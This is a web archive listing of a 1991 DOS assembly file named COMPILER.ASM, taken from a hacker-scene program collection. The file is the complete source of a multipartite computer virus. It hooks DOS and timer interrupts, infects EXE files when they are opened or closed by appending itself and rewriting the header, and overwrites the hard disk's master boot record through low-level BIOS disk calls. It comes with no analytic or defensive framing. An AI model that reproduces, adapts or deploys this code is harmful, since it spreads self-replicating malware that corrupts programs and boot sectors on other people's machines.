home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / COMPILER.ASM < prev    next >
Assembly Source File  |  1991-03-01  |  8KB  |  312 lines

  1.  
  2.     cut    equ    offset len-300h
  3.     virsize equ    offset len-100h
  4.     memsize equ    (virsize+20h)/16+1
  5.  
  6.                 xor     di,di
  7.                 mov     ds,di
  8.                 mov     ss,di
  9.                 mov     sp,7BF0h
  10.                 mov     si,7C00h
  11.                 push    si
  12.                 mov     ax,3000h
  13.                 mov     es,ax
  14.                 mov     cx,201h
  15.                 push    cx
  16.                 push    cx
  17.         rep     movsw
  18.                 pop     ax
  19.                 push    cx
  20.                 mov     cl,8
  21.                 mov     bx,cut
  22.                 mov     dx,80h
  23.                 int     13h
  24.                 mov     [1Ch*4],offset timer-100h
  25.                 mov     [1Ch*4+2],3000h
  26.                 pop     es
  27.                 inc     cx
  28.                 pop     ax
  29.                 pop     bx
  30.                 db      0EAh
  31.                 dw      offset jump-100h
  32.                 dw      3000h
  33.  
  34.         jump    db      0CDh,013h,0EAh,00,07Ch,00,00
  35.  
  36.         timer:  push    ax
  37.                 push    ds
  38.                 xor     ax,ax
  39.                 mov     ds,ax
  40.                 cmp     [84h],ax
  41.                 jz      tmexit
  42.                 mov     ax,[10h]                ; int 04h
  43.                 mov     [70h],ax                ; int 1Ch
  44.                 mov     ax,[12h]
  45.                 mov     [72h],ax
  46.                 mov     ax,[84h]
  47.                 mov     cs:old-100h,ax
  48.                 mov     ax,[86h]
  49.                 mov     cs:old+2-100h,ax
  50.                 mov     [84h],offset int21-100h
  51.                 mov     [86h],cs
  52.         mov    ax,[2Fh*4]
  53.         mov    cs:int2F-100h,ax
  54.         mov    ax,[2Fh*4+2]
  55.         mov    cs:int2F+2-100h,ax
  56.         tmexit: pop     ds
  57.                 pop     ax
  58.                 iret
  59.  
  60.         int21:  cmp     ax,4B00h
  61.                 jne     exit21
  62.                 push    ax
  63.                 push    bx
  64.                 push    cx
  65.                 push    dx
  66.                 push    ds
  67.                 push    es
  68.                 push    si
  69.                 push    di
  70.                 mov     ah,52h
  71.                 int     21h
  72.                 xor     si,si
  73.                 xor     di,di
  74.                 mov     ds,es:[bx-2]
  75.                 mov     bx,ds
  76.                 mov     ax,[di+3]
  77.                 add     [di+3],memsize
  78.                 inc     bx
  79.                 add     ax,bx
  80.                 mov     es,ax
  81.                 push    ax
  82.                 mov     ax,es:[di+3]
  83.                 sub     ax,memsize
  84.                 push    ax
  85.                 mov     ax,[di+3]
  86.                 add     ax,bx
  87.                 mov     ds,ax
  88.                 mov     byte ptr [di],5Ah
  89.                 mov     word ptr [di+1],di
  90.                 pop     [di+3]
  91.                 pop     es
  92.                 push    cs
  93.                 pop     ds
  94.                 mov     cx,virsize/2+1
  95.         rep     movsw
  96.                 mov     ds,cx
  97.                 mov     [84h],offset res21-100h
  98.                 mov     [86h],es
  99.         back:   pop     di
  100.                 pop     si
  101.                 pop     es
  102.                 pop     ds
  103.                 pop     dx
  104.                 pop     cx
  105.                 pop     bx
  106.                 pop     ax
  107.         exit21: db      0EAh
  108.         old     dw      ?
  109.                 dw      ?
  110.  
  111.         res21:  push    ax
  112.                 push    bx
  113.                 push    cx
  114.                 push    dx
  115.                 push    ds
  116.                 push    es
  117.                 push    si
  118.                 push    di
  119.                 cmp     ah,3Eh
  120.                 je      close
  121.                 cmp     ah,3Dh
  122.                 jne     back
  123.  
  124.         open:   call    driver
  125.         xchg    ax,bx
  126.         jc    out
  127.                 call    chexe
  128.                 jne     out
  129.                 mov     cs:len-100h,cx
  130.         out:    mov     ah,3Eh
  131.                 call    driver
  132.                 jmp     back
  133.  
  134.         close:  call    chexe
  135.                 jne     back
  136.                 cmp     cx,cs:len-100h
  137.                 je      back
  138.         cmp    cx,5000
  139.         jb    back
  140.                 push    cx
  141.                 push    dx
  142.                 push    cs
  143.                 pop     es
  144.                 push    cs
  145.                 pop     ds
  146.                 mov     ah,3Fh
  147.                 mov     dx,offset buf-100h
  148.                 mov     cx,20h
  149.                 call    driver
  150.                 mov     si,offset buf+0Eh-100h
  151.                 mov     di,offset save-100h
  152.                 movsw
  153.                 movsw
  154.                 lodsw
  155.                 movsw
  156.                 movsw
  157.                 pop     dx
  158.                 pop     ax
  159.                 mov     cl,16
  160.                 div     cx
  161.                 inc     ax
  162.                 push    ax
  163.                 push    ax
  164.                 mul     cx
  165.                 mov     cx,ax
  166.                 xchg    cx,dx
  167.                 mov     ax,4200h
  168.                 call    driver
  169.                 pop     ax
  170.                 sub     ax,[si-10h]
  171.                 mov     [si-2],ax
  172.                 mov     [si-0Ah],ax
  173.                 mov     [si-8],500h
  174.                 mov     [si-4],offset go-100h
  175.                 pop     ax
  176.                 xor     dx,dx
  177.                 mov     cx,20h
  178.         push    cx
  179.                 div     cx
  180.         inc    ax
  181.         inc    ax
  182.                 mov     [si-14h],ax
  183.                 mov     [si-16h],dx
  184.                 mov     ah,40h
  185.                 mov     cx,virsize
  186.                 xor     dx,dx
  187.                 call    driver
  188.                 call    chexe
  189.                 mov     ah,40h
  190.         pop    cx
  191.                 mov     dx,offset buf-100h
  192.                 call    driver
  193.                 jmp     back
  194.  
  195.         go:     mov     bx,es
  196.                 add     bx,10h
  197.                 add     cs:save+6-100h,bx
  198.                 add     bx,cs:save-100h
  199.                 push    bx
  200.         push    ds
  201.         push    es
  202.  
  203.         call    cell
  204.         test    si,si
  205.         je    exec
  206.         cmp    word ptr [si+2],0A000h
  207.         jb    exec
  208.         mov    ah,2
  209.         push    cs
  210.         pop    es
  211.         push    cs
  212.         pop    ds
  213.         mov    bx,offset buf-100h
  214.         mov    cl,1
  215.         call    doit
  216.         xor    si,si
  217.         mov    di,bx
  218.         mov    cl,cut/2
  219.     rep    cmpsw
  220.         je    exec
  221.         inc    count-100h
  222.         mov    ah,3
  223.         mov    cl,9
  224.         call    doit
  225.         xor    si,si
  226.         mov    di,bx
  227.         mov    cl,cut/2+1
  228.     rep    movsw
  229.         mov    ah,3
  230.         inc    cx
  231.         call    doit
  232.         mov    bx,cut
  233.         mov    cl,8
  234.         mov    ah,3
  235.         call    doit
  236.  
  237.     exec:    pop    es
  238.         pop    ds
  239.         pop    ss
  240.                 mov     sp,cs:save+2-100h
  241.                 jmp     dword ptr cs:save+4-100h
  242.  
  243.         chexe:  push    bx
  244.                 mov     ax,1220h
  245.         call    dosint
  246.                 mov     bl,es:[di]
  247.                 mov     ax,1216h
  248.         call    dosint
  249.                 pop     bx
  250.                 add     di,15h
  251.                 xor     ax,ax
  252.                 stosw
  253.                 stosw
  254.                 mov     cx,es:[di-8]
  255.                 mov     dx,es:[di-6]
  256.                 add     di,0Fh
  257.                 mov     ax,'XE'
  258.                 scasw
  259.                 jne     notexe
  260.                 scasb
  261.                 clc
  262.         notexe: ret
  263.  
  264.     cell:    push    ax
  265.         push    bx
  266.         push    cx
  267.         mov    ah,30h
  268.                 int     21h
  269.         xor    si,si
  270.                 xchg    ah,al
  271.         cmp    ax,401h
  272.         ja    newdos
  273.         cmp    ax,314h
  274.         jb    newdos
  275.                 cmp     ax,31Eh
  276.                 mov     si,7B4h
  277.                 jae     newdos
  278.                 mov     si,10A5h
  279.                 cmp     al,10
  280.                 je      newdos
  281.         mov    si,1EC9h
  282.         newdos: mov     ds,cx
  283.         pop    cx
  284.         pop    bx
  285.         pop    ax
  286.                 ret
  287.  
  288.         driver: pushf
  289.                 call    dword ptr cs:old-100h
  290.                 ret
  291.  
  292.     doit:    push    ds
  293.         call    cell
  294.         mov    ch,0
  295.         mov    al,1
  296.         mov    dx,80h
  297.         pushf
  298.         call    dword ptr [si]
  299.         pop    ds
  300.         ret
  301.  
  302.     dosint: pushf
  303.         db    9Ah
  304.     int2F    dw    ?
  305.         dw    ?
  306.         ret
  307.  
  308.     count    dw    0
  309.         save    dw      4 dup (?)
  310.         len     label   word
  311.         buf     label   word
  312.